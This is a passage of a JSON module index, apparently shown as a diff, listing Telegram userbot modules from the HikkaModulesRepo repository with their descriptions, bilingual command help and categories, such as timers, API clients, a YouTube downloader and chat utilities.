"https://raw.githubusercontent.com/MuRuLOSE/HikkaModulesRepo/main/assets/modbanners/tempjoinchannel.png", - "desc": "Enter the channels temporarily!", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "addchannels": "- Add channels, put the word inline in the arguments if you need channels from there. Or list any channel attributes (ids, links, usernames). (Inline dont work) Добавь каналы, напишите в аргументы слово inline если нужны каналы оттуда. Либо перечислите любые признаки канала (айди, ссылки, юзернеймы). Inline dont work" - }, - { - "leavechannels": "- Leave all channels that have been added Покинуть все каналы которые были добавлены" - } - ], - "new_commands": [ - { - "addchannels": { - "ru_doc": "Добавь каналы, напишите в аргументы слово inline если нужны каналы оттуда. Либо перечислите любые признаки канала (айди, ссылки, юзернеймы). Inline dont work", - "en_doc": null, - "doc": "- Add channels, put the word inline in the arguments if you need channels from there. Or list any channel attributes (ids, links, usernames). (Inline dont work)" - } - }, - { - "leavechannels": { - "ru_doc": "Покинуть все каналы которые были добавлены", - "en_doc": null, - "doc": "- Leave all channels that have been added" - } - } - ], - "category": [ - "Automation", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/SearchersGenQuery.py": { - "name": "GoogleQueryGen", - "description": "- Create links for search engines query", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "GoogleQueryGen": "- [Args] - Gen link for google query - [Аргументы] - Генерирует ссылку для гугл запроса" - }, - { - "YandexQueryGen": "- [Args] - Gen link for yandex query - [Аргументы] - Генерирует ссылку для яндекс запроса" - }, - { - "BingQueryGen": "- [Args] - Gen link for bing query - [Аргументы] - Генерирует ссылку для бинг запроса" - }, - { - "DDGQueryGen": "- [Args] - Gen link for DuckDuckGo query - [Аргументы] - Генерирует ссылку для УткаУткаВперёд запроса" - }, - { - "YahooQueryGen": "- [Args] - Gen link for yahoo query - [Аргументы] - Генерирует ссылку для яху запроса" - } - ], - "new_commands": [ - { - "GoogleQueryGen": { - "ru_doc": " - [Аргументы] - Генерирует ссылку для гугл запроса", - "en_doc": null, - "doc": "- [Args] - Gen link for google query" - } - }, - { - "YandexQueryGen": { - "ru_doc": " - [Аргументы] - Генерирует ссылку для яндекс запроса", - "en_doc": null, - "doc": "- [Args] - Gen link for yandex query" - } - }, - { - "BingQueryGen": { - "ru_doc": " - [Аргументы] - Генерирует ссылку для бинг запроса", - "en_doc": null, - "doc": "- [Args] - Gen link for bing query" - } - }, - { - "DDGQueryGen": { - "ru_doc": " - [Аргументы] - Генерирует ссылку для УткаУткаВперёд запроса", - "en_doc": null, - "doc": "- [Args] - Gen link for DuckDuckGo query" - } - }, - { - "YahooQueryGen": { - "ru_doc": " - [Аргументы] - Генерирует ссылку для яху запроса", - "en_doc": null, - "doc": "- [Args] - Gen link for yahoo query" - } - } - ], - "category": [ - "Utilities", - "Info" - ] - }, - "MuRuLOSE/HikkaModulesRepo/autoreader.py": { - "name": "Autoreader", - "description": "Для автоматического читания в чатах и лс", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "autoread": "- Добавить / Удалить чат из авто читаемых" - }, - { - "list_autoread": "- Чаты которые читаются" - }, - { - "set_autoread": "- [Айди] Добавить / Удалить чат из списка авто читаемых\np.s -100 к началу айди у каналов и чатов" - }, - { - "read": "- [Айди \\ Ничего] Прочитать все сообщения в чате" - } - ], - "new_commands": [ - { - "autoread": { - "ru_doc": null, - "en_doc": null, - "doc": "- Добавить / Удалить чат из авто читаемых" - } - }, - { - "list_autoread": { - "ru_doc": null, - "en_doc": null, - "doc": "- Чаты которые читаются" - } - }, - { - "set_autoread": { - "ru_doc": null, - "en_doc": null, - "doc": "- [Айди] Добавить / Удалить чат из списка авто читаемых\np.s -100 к началу айди у каналов и чатов" - } - }, - { - "read": { - "ru_doc": null, - "en_doc": null, - "doc": "- [Айди \\ Ничего] Прочитать все сообщения в чате" - } - } - ], - "category": [ - "Automation", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/CheckTime.py": { - "name": "CheckTime", - "description": "Check time in your city", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVT.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "setcity": "[Timezone / Nothing] - Set your city to default\nExample: .set_city Europe/Moscow [Часовой пояс / Ничего] - Поставь свой город по-улмолчанию\nПример: .set_city Europe/Moscow" - }, - { - "showtime": "[Timezone / Nothing] - Find out the time\nExample: .show_time Europe/Moscow [Часовой пояс / Ничего] - Узнать время" - }, - { - "send_widget": "- Send widget [Часовой пояс / Ничего] - Отправить виджет" - } - ], - "new_commands": [ - { - "setcity": { - "ru_doc": " [Часовой пояс / Ничего] - Поставь свой город по-улмолчанию\nПример: .set_city Europe/Moscow", - "en_doc": null, - "doc": "[Timezone / Nothing] - Set your city to default\nExample: .set_city Europe/Moscow" - } - }, - { - "showtime": { - "ru_doc": " [Часовой пояс / Ничего] - Узнать время", - "en_doc": null, - "doc": "[Timezone / Nothing] - Find out the time\nExample: .show_time Europe/Moscow" - } - }, - { - "send_widget": { - "ru_doc": " [Часовой пояс / Ничего] - Отправить виджет", - "en_doc": null, - "doc": "- Send widget" - } - } - ], - "category": [ - "Productivity", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/Wynncraft.py": { - "name": "WynnCraft", - "description": "Wynncraft API Module", - "meta": { - "pic": null, - "banner": "link", - "desc": "Wynncraft API Module", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "wstatscmd": "[Username / uuid] - Player stats" - }, - { - "wguildcmd": "[GuildName / Prefix] - Guild stats" - }, - { - "wleaderboardcmd": "Show Wynncraft leaderboards" - }, - { - "wsearchcmd": "[Query] - Search for players or guilds" - } - ], - "new_commands": [ - { - "wstats": { - "ru_doc": null, - "en_doc": null, - "doc": "[Username / uuid] - Player stats" - } - }, - { - "wguild": { - "ru_doc": null, - "en_doc": null, - "doc": "[GuildName / Prefix] - Guild stats" - } - }, - { - "wleaderboard": { - "ru_doc": null, - "en_doc": null, - "doc": "Show Wynncraft leaderboards" - } - }, - { - "wsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "[Query] - Search for players or guilds" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "MuRuLOSE/HikkaModulesRepo/!example.py": { - "name": "MyModule", - "description": "My module", - "meta": { - "pic": null, - "banner": "link", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "helloworld": "Hello world Привет мир!" - } - ], - "new_commands": [ - { - "helloworld": { - "ru_doc": "Привет мир!", - "en_doc": null, - "doc": "Hello world" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "MuRuLOSE/HikkaModulesRepo/filters.py": { - "name": "TextFilters", - "description": "- Module for filter text", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "filter_ch": "- [lower / capitalize / upper / off] - Chose filter - [lower / capitalize / upper / off] - Выбрать фильтр" - } - ], - "new_commands": [ - { - "filter_ch": { - "ru_doc": " - [lower / capitalize / upper / off] - Выбрать фильтр", - "en_doc": null, - "doc": "- [lower / capitalize / upper / off] - Chose filter" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/MindGameCheat.py": { - "name": "MindGameCheat", - "description": "Module for cheat in MindGame", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/Q4Hen86h2PuzHWVxH0OOCQ/H0YO.jpg", - "desc": "Module for cheat in MindGame", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "mcheat": "- [reply to MindGame] - Find emoji" - } - ], - "new_commands": [ - { - "mcheat": { - "ru_doc": null, - "en_doc": null, - "doc": "- [reply to MindGame] - Find emoji" - } - } - ], - "category": [ - "Games", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/compliments.py": { - "name": "compliments", - "description": "Генерирует комплименты", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "gen_compliment": "- Генерирует комлпимент" - } - ], - "new_commands": [ - { - "gen_compliment": { - "ru_doc": null, - "en_doc": null, - "doc": "- Генерирует комлпимент" - } - } - ], - "category": [ - "Social", - "Fun" - ] - }, - "MuRuLOSE/HikkaModulesRepo/timer.py": { - "name": "timer", - "description": "Модуль который запускает таймер до события", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "start_timer": "[Таймер на секунды] [Текст напоминания] - Запустить таймер (Сообщения будет отправляться инлайн ботом с вашим упоминанием)" - } - ], - "new_commands": [ - { - "start_timer": { - "ru_doc": null, - "en_doc": null, - "doc": "[Таймер на секунды] [Текст напоминания] - Запустить таймер (Сообщения будет отправляться инлайн ботом с вашим упоминанием)" - } - } - ], - "category": [ - "Productivity", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/HTTPCat.py": { - "name": "HTTPCat", - "description": "Funny images with HTTP statuses", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVb.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "gethttpcat": "[HTTP Status / HTTP Status group (ex. 4xx, 3xx) / Nothing] - Get picture with cat and HTTP code [HTTP Статус / Ничего] - Получить картинку с котом и HTTP кодом" - } - ], - "new_commands": [ - { - "gethttpcat": { - "ru_doc": " [HTTP Статус / Ничего] - Получить картинку с котом и HTTP кодом", - "en_doc": null, - "doc": "[HTTP Status / HTTP Status group (ex. 4xx, 3xx) / Nothing] - Get picture with cat and HTTP code" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/FuckJoins.py": { - "name": "FuckJoins", - "description": "Tired of entering channels without your knowledge via JoinChannelRequest?\nThen use this module! You can remove all such requests with one command from the module (file or raw).", - "meta": { - "pic": null, - "banner": "link", - "desc": "Tired of entering channels without your knowledge via JoinChannelRequest?\\nThen use this module! You can remove all such requests with one command from the module (file or raw).", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "rjoinsrjoin": "[Reply to file / link to raw code (not work)] - Replace JoinChannelRequest to self.request_join [Ответ на файл / ссылка на сырой код (не работает)] - Заменить JoinChannelRequest на self.request_join" - }, - { - "removejoins": "[Reply to file / link to raw code] - Remove JoinChannelRequest [Ответ на файл / ссылка на сырой код] - Удалить JoinChannelRequest" - } - ], - "new_commands": [ - { - "rjoinsrjoin": { - "ru_doc": "[Ответ на файл / ссылка на сырой код (не работает)] - Заменить JoinChannelRequest на self.request_join", - "en_doc": null, - "doc": "[Reply to file / link to raw code (not work)] - Replace JoinChannelRequest to self.request_join" - } - }, - { - "removejoins": { - "ru_doc": "[Ответ на файл / ссылка на сырой код] - Удалить JoinChannelRequest", - "en_doc": null, - "doc": "[Reply to file / link to raw code] - Remove JoinChannelRequest" - } - } - ], - "category": [ - "Security", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/SteamClient.py": { - "name": "SteamClient", - "description": "Module for manage steam", - "meta": { - "pic": null, - "banner": "link", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "searchuser": "[Username] (--raw raw json answer) (--id search by id) - Search user [Юзернейм] Найти пользователя (--id поиск по id)" - }, - { - "vacbaninfo": "[Username] Informbation about user VAC-BANs (--id search by id) [Юзернейм] Информация о VAC-BANах пользователя (--id поиск по id)" - }, - { - "gameownedlist": "- [Username] Informbation about user games (--id search by id) - [Юзернейм] Информация о играх пользователя (--id поиск по id)" - }, - { - "setwidgetsteam": "- Reply to message what need to be widget (--reset to remove widget)" - }, - { - "execsteamcode": "DO NOT USE THIS COMMAND! IT ONLY WORKS WHEN DEBUGGING IS ENABLED! THIS COMMAND IS FOR DEVELOPER" - }, - { - "updateapikey": "- Update API key - Обновить API ключ" - } - ], - "new_commands": [ - { - "searchuser": { - "ru_doc": " [Юзернейм] Найти пользователя (--id поиск по id)", - "en_doc": null, - "doc": "[Username] (--raw raw json answer) (--id search by id) - Search user" - } - }, - { - "vacbaninfo": { - "ru_doc": " [Юзернейм] Информация о VAC-BANах пользователя (--id поиск по id)", - "en_doc": null, - "doc": "[Username] Informbation about user VAC-BANs (--id search by id)" - } - }, - { - "gameownedlist": { - "ru_doc": " - [Юзернейм] Информация о играх пользователя (--id поиск по id)", - "en_doc": null, - "doc": "- [Username] Informbation about user games (--id search by id)" - } - }, - { - "setwidgetsteam": { - "ru_doc": null, - "en_doc": null, - "doc": "- Reply to message what need to be widget (--reset to remove widget)" - } - }, - { - "execsteamcode": { - "ru_doc": null, - "en_doc": null, - "doc": "DO NOT USE THIS COMMAND! IT ONLY WORKS WHEN DEBUGGING IS ENABLED! THIS COMMAND IS FOR DEVELOPER" - } - }, - { - "updateapikey": { - "ru_doc": " - Обновить API ключ", - "en_doc": null, - "doc": "- Update API key" - } - } - ], - "category": [ - "Games", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/VKMusic.py": { - "name": "VKMusic", - "description": null, - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVT.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "vkmpnow": "- Current song - Текущая песня" - }, - { - "vkmtoken": "- Instructions for token and user ID - Инструкции для токена и пользовательского идентификатора" - } - ], - "new_commands": [ - { - "vkmpnow": { - "ru_doc": " - Текущая песня", - "en_doc": null, - "doc": "- Current song" - } - }, - { - "vkmtoken": { - "ru_doc": " - Инструкции для токена и пользовательского идентификатора", - "en_doc": null, - "doc": "- Instructions for token and user ID" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/YamiManager.py": { - "name": "YamiManager", - "description": "Module for @YamiChat_bot ", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVA.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "scmmnd": "[cmd] [request] - Send command to Yami bot\nExample: .scmmnd /img arguments with req [команда] [запрос] - Отправить команду Ями бот\nПример: .scmmnd /img аргументы с запросом" - }, - { - "chalive": "- Check, to see if the bot is alive - Проверьте, жив ли бот" - } - ], - "new_commands": [ - { - "scmmnd": { - "ru_doc": " [команда] [запрос] - Отправить команду Ями бот\nПример: .scmmnd /img аргументы с запросом", - "en_doc": null, - "doc": "[cmd] [request] - Send command to Yami bot\nExample: .scmmnd /img arguments with req" - } - }, - { - "chalive": { - "ru_doc": " - Проверьте, жив ли бот", - "en_doc": null, - "doc": "- Check, to see if the bot is alive" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/ReplaceWords.py": { - "name": "ReplaceWords", - "description": "Replaces words", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "enable_rw": "- Enable / Disable replace words - Включить / Выключить замену слов" - }, - { - "add_word": "- [Word] [What to replace it with] - Add word - [Слово] [Чем заменить] - Добавить слово" - }, - { - "edit_word": "- [Word] [What to edit it with] - Edit word - [Слово] [На что изменить] - Изменить заменяемое слово" - }, - { - "remove_word": "- [word] - Remove word - [Слово] - Удалить слово" - }, - { - "list_words": "- Watch all replaced words - Посмотреть все замены слов" - } - ], - "new_commands": [ - { - "enable_rw": { - "ru_doc": " - Включить / Выключить замену слов", - "en_doc": null, - "doc": "- Enable / Disable replace words" - } - }, - { - "add_word": { - "ru_doc": " - [Слово] [Чем заменить] - Добавить слово", - "en_doc": null, - "doc": "- [Word] [What to replace it with] - Add word" - } - }, - { - "edit_word": { - "ru_doc": " - [Слово] [На что изменить] - Изменить заменяемое слово", - "en_doc": null, - "doc": "- [Word] [What to edit it with] - Edit word" - } - }, - { - "remove_word": { - "ru_doc": " - [Слово] - Удалить слово", - "en_doc": null, - "doc": "- [word] - Remove word" - } - }, - { - "list_words": { - "ru_doc": " - Посмотреть все замены слов", - "en_doc": null, - "doc": "- Watch all replaced words" - } - } - ], - "category": [ - "Customization", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/PasswordUtils.py": { - "name": "PasswordUtils", - "description": "Ваш помощник в безопасных паролях", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "passwordchecker": "- [Password] - Check the password for security - [Пароль] - Проверить пароль на безопасность" - }, - { - "passwordgen": "- Gen password - Генерация пароля" - } - ], - "new_commands": [ - { - "passwordchecker": { - "ru_doc": " - [Пароль] - Проверить пароль на безопасность", - "en_doc": null, - "doc": "- [Password] - Check the password for security" - } - }, - { - "passwordgen": { - "ru_doc": " - Генерация пароля", - "en_doc": null, - "doc": "- Gen password" - } - } - ], - "category": [ - "Security", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/K.py": { - "name": "K", - "description": "K", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "k": "K" - } - ], - "new_commands": [ - { - "k": { - "ru_doc": null, - "en_doc": null, - "doc": "K" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/AutoLeave.py": { - "name": "AutoLeave", - "description": "Auto leaving from channels and chats (maybe pm's)", - "meta": { - "pic": null, - "banner": null, - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "addchatal": "[id / username] - Add chat to auto leave list" - } - ], - "new_commands": [ - { - "addchatal": { - "ru_doc": null, - "en_doc": null, - "doc": "[id / username] - Add chat to auto leave list" - } - } - ], - "category": [ - "Automation", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/InlineButtons.py": { - "name": "InlineButtons", - "description": "Create inline buttons easily", - "meta": { - "pic": null, - "banner": "link", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "cinline": "[Button text] [Button link] [Text] - Create inline button [Текст кнопки] [Ссылка в кнопке] [Текст] - Создать инлайн кнопку" - } - ], - "new_commands": [ - { - "cinline": { - "ru_doc": " [Текст кнопки] [Ссылка в кнопке] [Текст] - Создать инлайн кнопку", - "en_doc": null, - "doc": "[Button text] [Button link] [Text] - Create inline button" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/FindID.py": { - "name": "FirstID", - "description": "Find the first ID", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "findid": "- [Число с которого начинать] - Поиск ID" - } - ], - "new_commands": [ - { - "findid": { - "ru_doc": null, - "en_doc": null, - "doc": "- [Число с которого начинать] - Поиск ID" - } - } - ], - "category": [ - "Admin", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/YoutubeDL.py": { - "name": "YoutubeDLB", - "description": "THIS IS A BETA! BUGS MAY OCCUR!", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/h111E8AonLcGdpV5N8rx6A/XWiz.jpg", - "desc": "Download youtube videos", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "videodl": "[link] - Download video" - }, - { - "potoken": "" - } - ], - "new_commands": [ - { - "videodl": { - "ru_doc": null, - "en_doc": null, - "doc": "[link] - Download video" - } - }, - { - "potoken": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/ChannelCheck.py": { - "name": "ChannelCheck", - "description": "Модуль для получении информации о нахождении человека в канале.", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "checksub": "[айди или юзернейм канала] [юзернейм или айди человека]- Проверить, находится ли человек в указанном вами канале" - } - ], - "new_commands": [ - { - "checksub": { - "ru_doc": null, - "en_doc": null, - "doc": "[айди или юзернейм канала] [юзернейм или айди человека]- Проверить, находится ли человек в указанном вами канале" - } - } - ], - "category": [ - "Social", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/InviteManager.py": { - "name": "InviteManager", - "description": "Manage Telegram invite links", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/MuRuLOSE/HikkaModulesRepo/main/assets/modbanners/inumber.png", - "desc": "Manage Telegram invite links", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "createinvite": "Create an invite link for a channel Создать ссылку-приглашение для канала" - }, - { - "editinvite": "[link] [channel] - Edit an invite link with inline buttons [ссылка] [канал] - Редактировать ссылку-приглашение через инлайн-кнопки" - } - ], - "new_commands": [ - { - "createinvite": { - "ru_doc": "Создать ссылку-приглашение для канала", - "en_doc": null, - "doc": "Create an invite link for a channel" - } - }, - { - "editinvite": { - "ru_doc": "[ссылка] [канал] - Редактировать ссылку-приглашение через инлайн-кнопки", - "en_doc": null, - "doc": "[link] [channel] - Edit an invite link with inline buttons" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/Genshin.py": { - "name": "Genshin", - "description": "Module for Genshin", - "meta": { - "pic": null, - "banner": "link", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "greload": "- You change credentials or want auth? You need to reload module - Поменяли данные для входа или хотите авторизироваться? Вам нужно перезагрузить модуль" - }, - { - "hoyoaccounts": "- Shows all accounts in Genshin - Показывает все аккаунты в Genshin" - }, - { - "activatepromo": " [Промокод] - Активирует промокод" - } - ], - "new_commands": [ - { - "greload": { - "ru_doc": " - Поменяли данные для входа или хотите авторизироваться? Вам нужно перезагрузить модуль", - "en_doc": null, - "doc": "- You change credentials or want auth? You need to reload module" - } - }, - { - "hoyoaccounts": { - "ru_doc": " - Показывает все аккаунты в Genshin", - "en_doc": null, - "doc": "- Shows all accounts in Genshin" - } - }, - { - "activatepromo": { - "ru_doc": " [Промокод] - Активирует промокод", - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Games", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/CustomPing.py": { - "name": "CustomPing", - "description": "Have you seen a customizable ping module in Netfoll? I have, yes, but I find it unacceptable to use Netfoll, so I took the idea of custom ping, and replicated it.", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVX.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "cping": "- Find out your userbot ping - Узнать пинг вашего юзербота" - } - ], - "new_commands": [ - { - "cping": { - "ru_doc": " - Узнать пинг вашего юзербота", - "en_doc": null, - "doc": "- Find out your userbot ping" - } - } - ], - "category": [ - "Networking", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/controlspam.py": { - "name": "ControlSpam", - "description": "Не просто спамь, а контролируй", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "spam": "[количество спама] [текст / реплай] - Начать спам" - }, - { - "delayspam": "[количество спама] [Задержка в секундах] [текст / реплай] - Начать спам" - }, - { - "spam_stop": "- [id] Закончить спам" - } - ], - "new_commands": [ - { - "spam": { - "ru_doc": null, - "en_doc": null, - "doc": "[количество спама] [текст / реплай] - Начать спам" - } - }, - { - "delayspam": { - "ru_doc": null, - "en_doc": null, - "doc": "[количество спама] [Задержка в секундах] [текст / реплай] - Начать спам" - } - }, - { - "spam_stop": { - "ru_doc": null, - "en_doc": null, - "doc": "- [id] Закончить спам" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/NasaImages.py": { - "name": "NasaImages", - "description": "Images from Nasa website", - "meta": { - "pic": null, - "banner": "https://0x0.st/HgMS.jpg", - "desc": "Images from Nasa website", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "randomcosmosphoto": "- Get random photo from Nasa website - Получите случайное фото с вебсайта наса " - }, - { - "todaycosmocpic": "- Today astronomic picture - Сегодняшее астрономическое фото " - } - ], - "new_commands": [ - { - "randomcosmosphoto": { - "ru_doc": " - Получите случайное фото с вебсайта наса ", - "en_doc": null, - "doc": "- Get random photo from Nasa website" - } - }, - { - "todaycosmocpic": { - "ru_doc": " - Сегодняшее астрономическое фото ", - "en_doc": null, - "doc": "- Today astronomic picture" - } - } - ], - "category": [ - "Info", - "Media" - ] - }, - "MuRuLOSE/HikkaModulesRepo/PinMoreChats.py": { - "name": "PinMoreChats", - "description": null, - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "pinchat": "- Add chat to pinned - Добавить чат в закреплённых" - }, - { - "unpinchat": "- Remove chat from pinned - Удалить чат из закреплённых" - }, - { - "listpinchats": "- View pinned chats - Посмотреть закреплённые чаты" - }, - { - "pmcfaq": "- FAQ for module - FAQ по модулю" - } - ], - "new_commands": [ - { - "pinchat": { - "ru_doc": " - Добавить чат в закреплённых", - "en_doc": null, - "doc": "- Add chat to pinned" - } - }, - { - "unpinchat": { - "ru_doc": " - Удалить чат из закреплённых", - "en_doc": null, - "doc": "- Remove chat from pinned" - } - }, - { - "listpinchats": { - "ru_doc": " - Посмотреть закреплённые чаты", - "en_doc": null, - "doc": "- View pinned chats" - } - }, - { - "pmcfaq": { - "ru_doc": " - FAQ по модулю", - "en_doc": null, - "doc": "- FAQ for module" - } - } - ], - "category": [ - "Productivity", - "Chat" - ] - }, - "MuRuLOSE/HikkaModulesRepo/autogiveawayjoin.py": { - "name": "AutoGiveawayJoin", - "description": "Авто присоеденение к розыгрышам в @mine_evo_bot", - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVa.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "giveawayjoin": "- Вкл / Выкл присоеденение к розыгрышам" - } - ], - "new_commands": [ - { - "giveawayjoin": { - "ru_doc": null, - "en_doc": null, - "doc": "- Вкл / Выкл присоеденение к розыгрышам" - } - } - ], - "category": [ - "Social", - "Automation" - ] - }, - "MuRuLOSE/HikkaModulesRepo/ToTHosting.py": { - "name": "ToTHosting", - "description": "Module for interaction with ToTHosting API (obviously) ", - "meta": { - "pic": null, - "banner": "link", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "tinfocmd": "[id/None] - Get info about your userbot" - }, - { - "tlogscmd": "[id/None] - Get logs of your userbot" - }, - { - "trestartcmd": "[id/None] - Restart the userbot" - }, - { - "tuserinfo": "- Info about user" - } - ], - "new_commands": [ - { - "tinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "[id/None] - Get info about your userbot" - } - }, - { - "tlogs": { - "ru_doc": null, - "en_doc": null, - "doc": "[id/None] - Get logs of your userbot" - } - }, - { - "trestart": { - "ru_doc": null, - "en_doc": null, - "doc": "[id/None] - Restart the userbot" - } - }, - { - "tuserinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "- Info about user" - } - } - ], - "category": [ - "Admin", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/SpyEVO.py": { - "name": "SpyEVO", - "description": "Модуль для", - "meta": { - "pic": null, - "banner": null, - "developer": "@BruhHikkaModules", - "desc": "desc" - }, - "commands": [ - { - "show_spy": "Показывает кейсы за всё время работы модуля" - }, - { - "clear_spy": "Очистка базы данных (всех кейсов и тд)" - } - ], - "new_commands": [ - { - "show_spy": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает кейсы за всё время работы модуля" - } - }, - { - "clear_spy": { - "ru_doc": null, - "en_doc": null, - "doc": "Очистка базы данных (всех кейсов и тд)" - } - } - ], - "category": [ - "Info", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/youtubesearcher.py": { - "name": "YoutubeSearcher", - "description": "Ищет видео в ютуб", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "ytsearch": "- [Запрос поиска] [Максимальное количество видео] Ищет видео в ютуб" - } - ], - "new_commands": [ - { - "ytsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "- [Запрос поиска] [Максимальное количество видео] Ищет видео в ютуб" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/morse.py": { - "name": "Morse", - "description": "- Decode and Encode morse code", - "meta": { - "pic": null, - "banner": null, - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "decode_morse": "- [Text] - Translates into morse code - [Текст] - Переводит в азбуку морзе" - }, - { - "encode_morse": "- [Text] - Translates from morse code - [Текст] - Переводит из азбуки морзе в текст" - } - ], - "new_commands": [ - { - "decode_morse": { - "ru_doc": " - [Текст] - Переводит в азбуку морзе", - "en_doc": null, - "doc": "- [Text] - Translates into morse code" - } - }, - { - "encode_morse": { - "ru_doc": " - [Текст] - Переводит из азбуки морзе в текст", - "en_doc": null, - "doc": "- [Text] - Translates from morse code" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "MuRuLOSE/HikkaModulesRepo/FuckTagOne.py": { - "name": "FuckTagOne", - "description": null, - "meta": { - "pic": null, - "banner": "https://0x0.st/HYVP.jpg", - "desc": "desc", - "developer": "@BruhHikkaModules" - }, - "commands": [ - { - "addignore": "[id / reply] - Add to ignore list [id / reply] - Добавить в игнор лист" - }, - { - "ignorelist": "- Check who in ignore - Посмотреть кто у вас в игноре" - }, - { - "removeignore": "[id / reply] - Remove from ignore list [id / reply] - Удалить из списка игнора" - } - ], - "new_commands": [ - { - "addignore": { - "ru_doc": " [id / reply] - Добавить в игнор лист", - "en_doc": null, - "doc": "[id / reply] - Add to ignore list" - } - }, - { - "ignorelist": { - "ru_doc": " - Посмотреть кто у вас в игноре", - "en_doc": null, - "doc": "- Check who in ignore" - } - }, - { - "removeignore": { - "ru_doc": " [id / reply] - Удалить из списка игнора", - "en_doc": null, - "doc": "[id / reply] - Remove from ignore list" - } - } - ], - "category": 